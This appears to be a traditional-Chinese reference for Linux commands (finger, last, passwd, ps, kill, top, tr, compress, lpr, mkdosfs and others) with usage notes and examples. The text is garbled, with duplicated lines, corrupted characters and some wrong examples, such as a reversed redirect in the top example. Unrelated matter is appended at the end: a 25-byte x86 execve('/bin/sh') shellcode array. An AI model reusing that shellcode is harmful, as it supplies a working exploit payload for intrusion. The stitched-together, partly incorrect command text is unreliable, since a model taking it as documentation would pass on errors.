    時間,辦公室號碼及電話號碼。如果所查詢的使用者是遠端伺服器的使用者,這
    個選項無效。
    範例:下列指令可以查詢本機管理員的資料:
    finger root
    其結果如下:
    Login: root Name: root
    Directory: /root Shell: /bin/bash
    Never logged in.
    No mail.
    No Plan.
    名稱:last
    使用權限:所有使用者
    使用方式:shell>> last [options]
    說明:顯示系統開機以來獲是從每月初登入者的訊息
    說明:顯示系統開機以來獲是從每月初登入者的訊息
    把計
    -R省略hostname的欄位
    -num展示前num個
    username展示username的登入訊息
    tty限制登入訊息包含終端機代號
    範例:
    shell>> last -R -2
    johnney pts/1 Mon Aug 14 20:42 still logged in
    johnney pts/0 Mon Aug 14 19:59 still logged in
    wtmp begins Tue Aug 1 09:01:10 2000 ### /var/log/wtmp
    shell>> last -2 minery
    minery pts/0 140.119.217.115 Mon Aug 14 18:37 – 18:40 (00:03)
    minery pts/0 140.119.217.115 Mon Aug 14 17:22 – 17:24 (00:02)
    wtmp begins Tue Aug 1 09:01:10 2000
    名稱:login
    這個命令都不會就不要幹算了!呵呵我也不在這裡多費筆墨耽誤大家美好青春了^_^
    名稱:passwd
    使用權限:所有使用者
    使用方式:passwd [-k] [-l] [-u [-f]] [-d] [-S] [username]
    說明:用來更改使用者的密碼
    參數:
    參數:
    -k
    -l
    -u
    -f
    -d關閉使用者的密碼認證功能,使用者在登入時將可以不用輸入密碼,只有具備
    root權限的使用者方可使用.
    -S顯示指定使用者的密碼認證種類,只有具備root權限的使用者方可使用.
    [username]指定帳號名稱.
    名稱: who
    使用權線:所有使用者都可使用
    使用方式: who – [husfV] [user]
    說明:顯示系統中有那些使用者正在上面,顯示的資料包含了使用者ID,使用
    的終端機,從那邊連上來的,上線時間,呆滯時間,CPU使用量,動作等等。
    把計:
    -h :不要顯示標題列
    -u :不要顯示使用者的動作/工作
    -s :使用簡短的格式來顯示
    -f :不要顯示使用者的上線位置
    -V :顯示程式版本
    名稱:/etc/aliases
    使用權限:系統管理者
    使用方式:請用newaliases更新資料庫
    說明:
    sendmail會使用一個在/etc/aliases中的檔案做使用者名稱轉換的動作。當
    sendmail收到一個要送給xxx的信時,它會依據aliases檔的內容送給另一個
    使用者。這個功能可以創造一個只有在信件系統內才有效的使用者。例如
    mailing list就會用到這個功能,在mailinglist中,我們可能會創造一個叫
    redlinux@link.ece.uci.edu的mailinglist,但實際上並沒有一個叫
    redlinux的使用者。實際aliases檔的內容是將送給這個使用者的信都收給
    mailing list處理程式負責分送的工作。
    /etc/aliases是一個文字模式的檔案,sendmail需要一個二進位格式的
    /etc/aliases.db。 newaliases的功能傳是將/etc/aliases轉換成一個
    sendmail所能了解的資料庫。範例:
    # newaliases
    下面命令會做相同的事,
    # sendmail -bi
    相關命令:
    mail, mailq, newaliases, sendmail
    名稱:mail
    使用權限:所有使用者
    使用方式:mail [-iInv] [-s subject] [-c cc-addr] [-b bcc-addr] user1
    [user 2 …]
    說明:
    說明:
    mail不僅只是一個指令, mail還是一個電子郵件程式,不過利用mail來讀信
    的人應該很少吧!對於系統管理者來說mail就很有用,因為管理者可以用
    mail寫成script ,定期寄一些備忘錄提醒系統的使用者。
    參數:
    i忽略tty的中斷訊號。 (interrupt)
    I強迫設成互動模式。 (Interactive)
    v列印出訊息,例如送信的地點、狀態等等。 (verbose)
    n不讀入mail.rc設定檔。
    s郵件標題。
    c cc郵件地址。
    b bcc郵件地址。
    範例:
    將信件送給一個或以上的電子郵件地址,由於沒有加入其他的選項,使用者必須
    輸入標題與信件的內容等。而user2沒有主機位置,就會送給郵件伺服器的
    user2使用者。
    mail user1@email.address
    mail user1@email.address user2
    將mail.txt的內容寄給user2同時cc給user1 。如果將這一行指令設成
    cronjob就可以定時將備忘錄寄給系統使用者。
    mail -s標題-c user1 user2 < mail.txt
    指令:mesg
    使用權限:所有使用者
    使用權限:所有使用者
    使用方式: mesg [y|n]
    說明:決定是否允許其他人傳訊息到自己的終端機介面
    把計
    y :允許訊息傳到終端機介面上。
    n :不允許訊息傳到終端機介面上。
    如果沒有設定,則訊息傳遞與否則由終端機界面目前狀態而定。
    例子:
    改變目前訊息設定,改成不允許訊息傳到終端機介面上:
    mesg n
    與mesg相關的指令有: talk,write,wall。

    名稱: talk
    使用權限:所有使用者
    使用方式:
    talk person [ttyname]
    說明:與其他使用者對談
    把計:
    person :預備對談的使用者帳號,如果該使用者在其他機器上,則可輸入
    person@machine.name
    ttyname :如果使用者同時有兩個以上的tty連線,可以自行選擇合適的tty
    傳訊息
    例子.1 :
    與現在機器上的使用者Rollaend對談,此時Rollaend只有一個連線:
    talk Rollaend
    接下來就是等Rollaend回應,若Rollaend接受,則Rollaend輸入`talk jzlee`即
    接下來就是等Rollaend回應,若Rollaend接受,則Rollaend輸入`talk jzlee`即
    可開始對談,結束請按ctrl+c
    例子.2 :與linuxfab.cx上的使用者Rollaend對談,使用pts/2來對談:
    talk Rollaend@linuxfab.cx pts/2
    接下來就是等Rollaend回應,若Rollaend接受,則Rollaend輸入`talk
    jzlee@jzlee.home`即可開始對談,結束請按ctrl+c
    注意:若螢幕的字會出現不正常的字元,試著按ctrl+l更新螢幕畫面。
    名稱: wall
    使用權限:所有使用者
    使用方式:
    wall [ message ]
    使用說明:
    wall會將訊息傳給每一個mesg設定為yes的上線使用者。當使用終端機介面
    做為標準傳入時,訊息結束時需加上EOF (通常用Ctrl+D)
    例子:
    傳訊息”hi”給每一個使用者:
    wall hi
    名稱: write
    使用權限:所有使用者
    使用方式:
    write user [ttyname]
    說明:傳訊息給其他使用者
    把計:
    把計:
    user :預備傳訊息的使用者帳號
    ttyname :如果使用者同時有兩個以上的tty連線,可以自行選擇合適的tty
    傳訊息
    例子.1 :
    傳訊息給Rollaend,此時Rollaend只有一個連線:
    write Rollaend
    接下來就是將訊息打上去,結束請按ctrl+c
    例子.2 :傳訊息給Rollaend,Rollaend的連線有pts/2,pts/3 :
    write Rollaend pts/2
    接下來就是將訊息打上去,結束請按ctrl+c
    注意:若對方設定mesg n,則此時訊席將無法傳給對方
    名稱:kill
    使用權限:所有使用者
    使用方式:
    kill [ -s signal | -p ] [ -a ] pid …
    kill -l [ signal ]
    說明:kill送出一個特定的信號(signal)給行程id為pid的行程根據該信
    號而做特定的動作,若沒有指定,預設是送出終止(TERM)的信號
    把計
    -s (signal) :其中可用的訊號有HUP (1), KILL (9), TERM (15),分別代表著
    重跑,砍掉,結束;詳細的信號可以用kill -l
    -p :印出pid ,並不送出信號
    -p :印出pid ,並不送出信號
    -l (signal) :列出所有可用的信號名稱
    範例:
    將pid為323的行程砍掉(kill) :
    kill -9 323
    將pid為456的行程重跑(restart) :
    kill -HUP 456
    名稱:nice
    使用權限:所有使用者
    使用方式:nice [-n adjustment] [-adjustment] [–adjustment=adjustment]
    [–help] [–version] [command [arg…]]
    說明:以更改過的優先序來執行程式,如果未指定程式,則會印出目前的排程優
    先序,內定的adjustment為10,範圍為-20 (最高優先序)到19 (最低優先
    序)
    把計
    -n adjustment, -adjustment, –adjustment=adjustment皆為將該原有優先序
    的增加adjustment
    –help顯示求助訊息
    –version顯示版本資訊
    範例:
    將ls的優先序加1並執行:
    nice -n 1 ls
    將ls的優先序加10並執行:
    將ls的優先序加10並執行:
    nice ls將ls的優先序加10並執行
    注意:優先序(priority)為作業系統用來決定CPU分配的參數,Linux使用
    『回合製(round-robin)』的演算法來做CPU排程,優先序越高,所可能獲得的
    CPU時間就越多。
    名稱:ps
    使用權限:所有使用者
    使用方式:ps [options] [–help]
    說明:顯示瞬間行程(process)的動態
    參數:
    ps的參數非常多,在此僅列出幾個常用的參數並大略介紹含義
    -A列出所有的行程
    -w顯示加寬可以顯示較多的資訊
    -au顯示較詳細的資訊
    -aux顯示所有包含其他使用者的行程
    au(x)輸出格式:
    USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
    USER:行程擁有者
    PID: pid
    %CPU:佔用的CPU使用率
    %MEM:佔用的記憶體使用率
    VSZ:佔用的虛擬記憶體大小
    RSS:佔用的記憶體大小
    RSS:佔用的記憶體大小
    TTY:終端的次要裝置號碼(minor device number of tty)
    STAT:該行程的狀態:
    D:不可中斷的靜止(通悸□□縝b進行I/O動作)
    R:正在執行中
    S:靜止狀態
    T:暫停執行
    Z:不存在但暫時無法消除
    W:沒有足夠的記憶體分頁可分配
    N:低優先序的行程
    L:有記憶體分頁分配並鎖在記憶體內(即時系統或捱AI/O)
    START:行程開始時間
    TIME:執行的時間
    COMMAND:所執行的指令
    範例:
    ps
    PID TTY TIME CMD
    2791 ttyp0 00:00:00 tcsh
    3092 ttyp0 00:00:00 ps
    % ps -A
    PID TTY TIME CMD
    1 ? 00:00:03 init
    2 ? 00:00:00 kflushd
    2 ? 00:00:00 kflushd
    3 ? 00:00:00 kpiod
    4 ? 00:00:00 kswapd
    5 ? 00:00:00 mdrecoveryd
    …….
    % ps -aux
    USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
    root 1 0.0 0.7 1096 472 ? S Sep10 0:03 init [3]
    root 2 0.0 0.0 0 0 ? SW Sep10 0:00 [kflushd]
    root 3 0.0 0.0 0 0 ? SW Sep10 0:00 [kpiod]
    root 4 0.0 0.0 0 0 ? SW Sep10 0:00 [kswapd]
    ……..
    名稱:pstree
    使用權限:所有使用者
    使用方式:
    pstree [-a] [-c] [-h|-Hpid] [-l] [-n] [-p] [-u] [-G|-U] [pid|user]
    pstree -V
    說明:將所有行程以樹狀圖顯示,樹狀圖將會以pid (如果有指定)或是以
    init這個基本行程為根(root) ,如果有指定使用者id ,則樹狀圖會只顯示該
    使用者所擁有的行程
    參數:
    -a顯示該行程的完整指令及參數,如果是被記憶體置換出去的行程則會加上括號
    -c如果有重覆的行程名,則分開列出(預設值是會在前面加上*
    -c如果有重覆的行程名,則分開列出(預設值是會在前面加上*
    範例:
    pstree
    init-+-amd
    |-apmd
    |-atd
    |-httpd—10*[httpd]
    %pstree -p
    init(1)-+-amd(447)
    |-apmd(105)
    |-atd(339)
    %pstree -c
    init-+-amd
    |-apmd
    |-atd
    |-httpd-+-httpd
    | |-httpd
    | |-httpd
    | |-httpd
    ….
    名稱:renice
    使用權限:所有使用者
    使用方式:renice priority [[-p] pid …] [[-g] pgrp …] [[-u] user
    使用方式:renice priority [[-p] pid …] [[-g] pgrp …] [[-u] user
    …]
    說明:重新指定一個或多個行程(Process)的優先序(一個或多個將根據所下的參
    數而定)
    把計
    -p pid重新指定行程的id為pid的行程的優先序
    -g pgrp重新指定行程群組(process group)的id為pgrp的行程(一個或多
    個)的優先序
    -u user重新指定行程擁有者為user的行程的優先序
    範例:
    將行程id為987及32的行程與行程擁有者為daemon及root的優先序號碼
    加1 :
    renice +1 987 -u daemon root -p 32
    注意:每一個行程(Process)都有一個唯一的(unique) id
    名稱:top
    使用權限:所有使用者
    使用方式:top [-] [d delay] [q] [c] [S] [s] [i] [n]
    說明:即時顯示process的動態
    把計
    d :改變顯示的更新速度,或是在交談式指令列( interactive command)按s
    q :沒有任何延遲的顯示速度,如果使用者是有superuser的權限,則top將
    會以最高的優先序執行
    c :切換顯示模式,共有兩種模式,一是只顯示執行檔的名稱,另一種是顯示完
    c :切換顯示模式,共有兩種模式,一是只顯示執行檔的名稱,另一種是顯示完
    整的路徑與名稱S :累積模式,會將己完成或消失的子行程( dead child
    process )的CPU time累積起來
    s :安全模式,將交談式指令取消,避免潛在的危機
    i :不顯示任何閒置(idle)或無用(zombie)的行程
    n :更新的次數,完成後將會退出top
    b :批次檔模式,搭配”n”參數一起使用,可以用來將top的結果輸出到檔案

    範例:
    顯示更新十次後退出;
    top -n 10
    使用者將不能利用交談式指令來對行程下命令:
    top -s
    將更新顯示二次的結果輸入到名稱為top.log的檔案裡:
    top -n 2 -b < top.log
    名稱:skill
    使用權限:所有使用者
    使用方式: skill [signal to send] [options]選擇程序的規則
    說明:
    送個訊號給正在執行的程序,預設的訊息為TERM (中斷) ,較常使用的訊息為
    HUP , INT , KILL , STOP , CONT ,和0
    訊息有三種寫法:分別為-9 , -SIGKILL , -KILL ,可以使用-l或-L已列出
    可使用的訊息。
    可使用的訊息。
    一般參數:
    -f快速模式/尚未完成
    -i互動模式/每個動作將要被確認
    -v詳細輸出/列出所選擇程序的資訊
    -w智能警告訊息/尚未完成
    -n沒有動作/顯示程序代號
    參數:選擇程序的規則可以是,終端機代號,使用者名稱,程序代號,命令名稱。
    -t終端機代號( tty或pty )
    -u使用者名稱
    -p程序代號( pid )
    -c命令名稱可使用的訊號:
    以下列出已知的訊號名稱,訊號代號,功能。
    名稱(代號)功能/描述
    ALRM 14離開
    HUP 1離開
    INT 2離開
    KILL 9離開/強迫關閉
    PIPE 13離開
    POLL離開
    PROF離開
    TERM 15離開
    USR1離開
    USR1離開
    USR2離開
    VTALRM離開
    STKFLT離開/只適用於i386, m68k, arm和ppc硬體
    UNUSED離開/只適用於i386, m68k, arm和ppc硬體
    TSTP停止/產生與內容相關的行為
    TTIN停止/產生與內容相關的行為
    TTOU停止/產生與內容相關的行為
    STOP停止/強迫關閉
    CONT從新啟動/如果在停止狀態則從新啟動,否則忽略
    PWR忽略/在某些系統中會離開
    WINCH忽略
    CHLD忽略
    ABRT 6核心
    FPE 8核心
    ILL 4核心
    QUIT 3核心
    SEGV 11核心
    TRAP 5核心
    SYS核心/或許尚未實作
    EMT核心/或許尚未實作
    BUS核心/核心失敗
    XCPU核心/核心失敗
    XCPU核心/核心失敗
    XFSZ核心/核心失敗
    範例:
    停止所有在PTY裝置上的程序
    skill -KILL -v pts/*
    停止三個使用者user1 , user2 , user3
    skill -STOP user1 user2 user3
    其他相關的命令: kill
    名稱:expr
    使用權限:所有使用者
    ###字串長度
    shell>> expr length “this is a test”
    14
    ###數字商數
    shell>> expr 14 % 9
    5
    ###從位置處抓取字串
    shell>> expr substr “this is a test” 3 5
    is is
    ###數字串only the first character
    shell>> expr index “testforthegame” e
    2
    ###字串真實重現
    ###字串真實重現
    shell>> expr quote thisisatestformela
    thisisatestformela
    名稱: tr
    ### 1.比方說要把目錄下所有的大寫檔名換為小寫檔名?
    似乎有很多方式,”tr”是其中一種:
    #!/bin/sh
    dir=”/tmp/testdir”;
    files=`find $dir -type f`;
    for i in $files
    do
    dir_name=`dirname $i`;
    ori_filename=`basename $i`
    new_filename=`echo $ori_filename | tr [:upper:] [:lower:]` >
    /dev/null;
    #echo $new_filename;
    mv $dir_name/$ori_filename $dir_name/$new_filename
    done
    ### 2.自己試驗中…lowercase to uppercase
    tr abcdef…[del] ABCDE…[del]
    tr a-z A-Z
    tr [:lower:] [:upper:]
    shell>> echo “this is a test” | tr az AZ > www
    shell>> echo “this is a test” | tr az AZ > www
    shell>> cat www
    THIS IS A TEST
    ### 3.去掉不想要的字串
    shell>> tr -d this ###去掉有關t.e.s.t
    this
    man
    man
    test
    e
    ### 4.取代字串
    shell>> tr -s “this” “TEST”
    this
    TEST
    th
    TE
    指令:clear
    用途:清除螢幕用。
    使用方法:在console上輸入clear。
    名稱: reset, tset
    使用方法: tset [-IQqrs] [-] [-e ch] [-i ch] [-k ch] [-m mapping]
    [terminal]
    使用說明:
    使用說明:
    reset其實和tset是一同個命令,它的用途是設定終端機的狀態。一般而言,
    這個命令會自動的從環境變數、命令列或是其它的組態檔決定目前終端機的型態
    。如果指定型態是?的話,這個程式會要求使用者輸入終端機的型別。
    由於這個程式會將終端機設回原始的狀態,除了在login時使用外,當系統終端
    機因為程式不正常執行而進入一些奇怪的狀態時,你也可以用它來重設終端機o
    例如不小心把二進位檔用cat指令進到終端機,常會有終端機不再回應鍵盤輸入
    ,或是回應一些奇怪字元的問題。此時就可以用reset將終端機回復至原始狀態
    。選項說明:
    -p
    將終端機類別顯示在螢幕上,但不做設定的動作。這個命令可以用來取得目前終
    端機的類別。
    -e ch
    將erase字元設成ch
    -i ch
    將中斷字元設成ch
    -k ch
    將刪除一行的字元設成ch
    -I
    不要做設定的動作,如果沒有使用選項-Q的話,erase、中斷及刪除字元的目前
    值依然會送到螢幕上。
    -Q
    不要顯示erase、中斷及刪除字元的值到螢幕上。
    不要顯示erase、中斷及刪除字元的值到螢幕上。
    -r
    將終端機類別印在螢幕上。
    -s
    將設定TERM用的命令用字串的型式送到終端機中,通常在.login或
    .profile中用
    範例:
    讓使用者輸入一個終端機型別並將終端機設到該型別的預設狀態。
    # reset ?
    將erase字元設定control-h
    # reset -e ^B
    將設定用的字串顯示在螢幕上
    # reset -s
    Erase is control-B (^B).
    Kill is control-U (^U).
    Interrupt is control-C (^C).
    TERM=xterm;
    名稱:compress
    使用權限:所有使用者
    使用方式:compress [-dfvcV] [-b maxbits] [file …]
    說明:
    compress是一個相當古老的unix檔案壓縮指令,壓縮後的檔案會加上一個.Z
    延伸檔名以區別未壓縮的檔案,壓縮後的檔案可以以uncompress解壓。若要將
    延伸檔名以區別未壓縮的檔案,壓縮後的檔案可以以uncompress解壓。若要將
    數個檔案壓成一個壓縮檔,必須先將檔案tar起來再壓縮。由於gzip可以產生
    更理想的壓縮比例,一般人多已改用gzip為檔案壓縮工具。
    參數:
    c輸出結果至標準輸出設備(一般指熒幕)
    f強迫寫入檔案,若目的檔已經存在,則會被覆蓋(force)
    v將程式執行的訊息印在熒幕上(verbose)
    b設定共同字串數的上限,以位元計算,可以設定的值為9至16 bits 。由於
    值越大,能使用的共同字串就越多,壓縮比例就越大,所以一般使用預設值16
    bits (bits)
    d將壓縮檔解壓縮
    V列出版本訊息
    範例:
    將source.dat壓縮成source.dat.Z ,若source.dat.Z已經存在,內容則會
    被壓縮檔覆蓋。
    compress -f source.dat
    將source.dat壓縮成source.dat.Z ,並列印出壓縮比例。
    -v與-f可以一起使用
    compress -vf source.dat
    將壓縮後的資料輸出後再導入target.dat.Z可以改變壓縮檔名。
    compress -c source.dat > target.dat.Z
    -b的值越大,壓縮比例就越大,範圍是9-16 ,預設值是16 。
    compress -b 12 source.dat
    compress -b 12 source.dat
    將source.dat.Z解壓成source.dat ,若檔案已經存在,使用者按y以確定覆
    蓋檔案,若使用-df程式則會自動覆蓋檔案。由於系統會自動加入.Z為延伸檔
    名,所以source.dat會自動當作source.dat.Z處理。
    compress -d source.dat
    compress -d source.dat.Z
    名稱: lpd
    使用權限:所有使用者
    使用方式:lpd [-l] [#port]
    lpd是一個常駐的印表機管理程式,它會根據/etc/printcap的內容來管理本地
    或遠端的印表機。 /etc/printcap中定義的每一個印表機必須在/var/lpd中有
    一個相對應的目錄,目錄中以cf開頭的檔案表示一個等待送到適當裝置的印表
    工作。這個檔案通常是由lpr所產生。
    lpr和lpd組成了一個可以離線工作的系統,當你使用lpr時,印表機不需要
    能立即可用,甚至不用存在。 lpd會自動監視印表機的狀況,當印表機上線後,
    便立即將檔案送交處理。這個得所有的應用程式不必等待印表機完成前一工作。
    參數:
    -l:將一些除錯訊息顯示在標準輸出上。
    #port:一般而言,lpd會使用getservbyname取得適當的TCP/IP port,你可
    以使用這個參數強迫lpd使用指定的port。
    範例:
    這個程式通常是由/etc/rc.d中的程式在系統啟始階段執行。
    名稱lpq
    –顯示列表機貯列中未完成的工作用法
    lpq [l] [P] [user]
    說明
    lpq會顯示由lpd所管理的列表機貯列中未完成的項目。
    範例
    範例1.顯示所有在lp列表機貯列中的工作
    # lpq -PlpRank Owner Job Files Total Size1st root 238 (standard input)
    1428646 bytes
    相關函數
    lpr,lpc,lpd
    名稱: lpr
    使用權限:所有使用者
    使用方式:lpr [ -P printer ]
    將檔案或是由標準輸入送進來的資料送到印表機貯列之中,印表機管理程式lpd
    會在稍後將這個檔案送給適當的程式或裝置處理。 lpr可以用來將料資送給本地
    或是遠端的主機來處理。
    參數:
    -p Printer:將資料送至指定的印表機Printer,預設值為lp。
    範例:
    將www.c和kkk.c送到印表機lp。
    lpr -Plp www.c kkk.c
    名稱: lprm
    名稱: lprm
    –將一個工作由印表機貯列中移除用法
    /usr/bin/lprm [P] [file…]
    說明
    尚未完成的印表機工作會被放在印表機貯列之中,這個命令可用來將常未送到印
    表機的工作取消。由於每一個印表機都有一個獨立的貯列,你可以用-P這個命
    令設定想要作用的印列機。如果沒有設定的話,會使用系統預設的印表機。
    這個命令會檢查使用者是否有足夠的權限刪除指定的檔案,一般而言,只有檔案
    的擁有者或是系統管理員才有這個權限。
    範例
    將印表機hpprinter中的第1123號工作移除
    lprm -Phpprinter 1123
    將第1011號工作由預設印表機中移除
    lprm 1011
    名稱: fdformat
    使用權限:所有使用者
    使用方式:fdformat [-n] device
    使用說明:
    對指定的軟碟機裝置進行低階格式化。使用這個指令對軟碟格式化的時候,最好
    指定像是下面的裝置:
    /dev/fd0d360磁碟機A: ,磁片為360KB磁碟
    /dev/fd0h1440磁碟機A: ,磁片為1.4MB磁碟
    /dev/fd1h1200磁碟機B: ,磁片為1.2MB磁碟
    /dev/fd1h1200磁碟機B: ,磁片為1.2MB磁碟
    如果使用像是/dev/fd0之類的裝置,如果裡面的磁碟不是標準容量,格式化可
    能會失敗。在這種情況之下,使用者可以用setfdprm指令先行指定必要參數。
    參數:
    -n關閉確認功能。這個選項會關閉格式化之後的確認步驟。
    範例:
    fdformat -n /dev/fd0h1440
    將磁碟機A的磁片格式化成1.4MB的磁片。並且省略確認的步驟。
    名稱: mformat
    使用權限:所有使用者
    使用方式:
    mformat [-t cylinders] [-h heads] [-s sectors] [-l volume_label] [-F]
    [-I fsVer-sion] [-S sizecode] [-2 sectors_on_track_0] [-M
    software_sector_size] [-a] [-X] [-C] [-H hidden_sectors] [-r
    root_sectors] [-B boot_sector] [-0 rate_on_track_0] [-A
    rate_on_other_tracks] [-1] [-k] drive:
    在已經做過低階格式化的磁片上建立DOS檔案系統。如果在編譯mtools的時候
    把USE_2M的參數打開,部分與2M格式相關的參數就會發生作用。否則這些參
    數(像是S,2,1,M)不會發生作用。
    參數:
    -t磁柱(synlider)數
    -h磁頭(head)數
    -s每一磁軌的磁區數
    -s每一磁軌的磁區數
    -l標籤
    -F將磁碟格式化為FAT32格式,不過這個參數還在實驗中。
    -I設定FAT32中的版本號。這當然也還在實驗中。
    -S磁區大小代碼,計算方式為sector = 2^(大小代碼+7)
    -c磁叢(cluster)的磁區數。如果所給定的數字會導致磁叢數超過FAT表的限
    制,mformat會自動放大磁區數。
    -s
    -M軟體磁區大小。這個數字就是系統回報的磁區大小。通常是和實際的大小相同

    -a如果加上這個參數,mformat會產生一組Atari系統的序號給這塊軟碟。
    -X將軟碟格式化成XDF格式。使用前必須先用xdfcopy指令對軟碟作低階格式
    化的動作。
    -C產生一個可以安裝MS-DOS檔案系統的磁碟影像檔(disk image)。當然對一
    個實體磁碟機下這個參數是沒有意義的。
    -H隱藏磁區的數目。這通常適用在格式化硬碟的分割區時,因為通常一個分割區
    的前面還有分割表。這個參數未經測試,能不用就不用。
    -n磁碟序號
    -r根目錄的大小,單位是磁區數。這個參數只對FAT12和FAT16有效。
    -B使用所指定的檔案或是設備的開機磁區做為這片磁片或分割區的開機磁區。當
    然當中的硬體參數會隨之更動。
    -k盡量保持原有的開機磁區。
    -0第0軌的資料傳輸率
    -0第0軌的資料傳輸率
    -A第0軌以外的資料傳輸率
    -2使用2m格式
    -1不使用2m格式
    範例:
    mformat a:
    這樣會用預設值把a: (就是/dev/fd0)裡的磁碟片格式化。
    s名稱: mkdosfs
    使用權限:所有使用者
    使用方式: mkdosfs [ -c | -l filename ]
    [ -f number_of_FATs ]
    [ -F FAT_size ]
    [ -i volume_id ]
    [ -m message_file ]
    [ -n volume_name ]
    [ -r root_dir_entry ]
    [ -s sector_per_cluster ]
    [ -v ]
    device
    [ block_count ]
    說明:建立DOS檔案系統。 device指你想要建立DOS檔案系統的裝置代號。
    像是/dev/hda1等等。 block_count則是你希望配置的區塊數。如果
    block_count沒有指定則係統會自動替你計算符合該裝置大小的區塊數。
    block_count沒有指定則係統會自動替你計算符合該裝置大小的區塊數。
    參數:
    -c建立檔案系統之前先檢查是否有壞軌。
    -l從得定的檔案中讀取壞軌記錄。
    -f指定檔案配置表(FAT , File Allocation Table)的數量。預設值為2 。目
    前Linux的FAT檔案系統不支援超過2個FAT表。通常這個不需要改。
    -F指定FAT表的大小,通常是12或是16個位元組。 12位元組通常用於磁碟
    片,16位元組用於一般硬碟的分割區,也就是所謂的FAT16格式。這個值通常
    系統會自己選定適當的值。在磁碟片上用FAT16通常不會發生作用,反之在硬碟
    上用FAT12亦然。
    -i指定Volume ID。一般是一個4個位元組的數字,像是2e203a47 。如果不
    給系統會自己產生。
    -m當使用者試圖用這片磁片或是分割區開機,而上面沒有作業系統時,系統會給
    使用者一段警告訊息。這個參數就是用來變更這個訊息的。你可以先用檔案編輯
    好,然後用這個參數指定,或是用
    -m –
    這樣系統會要求你直接輸入這段文字。要特別注意的是,檔案裡的字串長度不要
    超過418個字,包括展開的跳欄符號(TAB)和換行符號(換行符號在DOS底下
    算兩個字元! )
    -n指定Volume Name,就是磁碟標籤。如同在DOS底下的format指令一樣,
    給不給都可以。沒有預設值。
    -r指定根目錄底下的最大檔案數。這裡所謂的檔案數包括目錄。預設值是在軟碟
    上是112或是224 ,在硬碟上是512。沒事不要改這個數字。
    好,然後用這個參數指定,或是用
    -s每一個磁叢(cluster)的磁區數。必須是2的次方數。不過除非你知道你在
    作什麼,這個值不要亂給。
    -v提供額外的訊息
    範例:
    mkdosfs -n Tester /dev/fd0將A槽裡的磁碟片格式化為DOS格式,並將標籤
    設為Tester
      

    /* linux/x86 25-byte execve() /bin/sh shellcode. */
    u_char c0de[] = /* Seal@patching.net */
    “\x29\xC0″/* subl%eax, %eax*/
    “\x50″/* pushl %eax*/
    “\x68\x2F\x2F\x73\x68″/* pushl $0x68732f2f */
    “\x68\x2F\x62\x69\x6E”/* pushl $0x6e69622f */
    “\x89\xE3″/* movl%esp, %ebx*/
    “\x50″/* pushl %eax*/
    “\x89\xE2″/* movl%esp, %edx*/
    “\x54″/* pushl %esp*/
    “\x89\xE1″/* movl%esp, %ecx*/
    “\xB0\x0B”/* movb$0x0b, %al*/
    “\xCD\x80”; /* int $0x80 */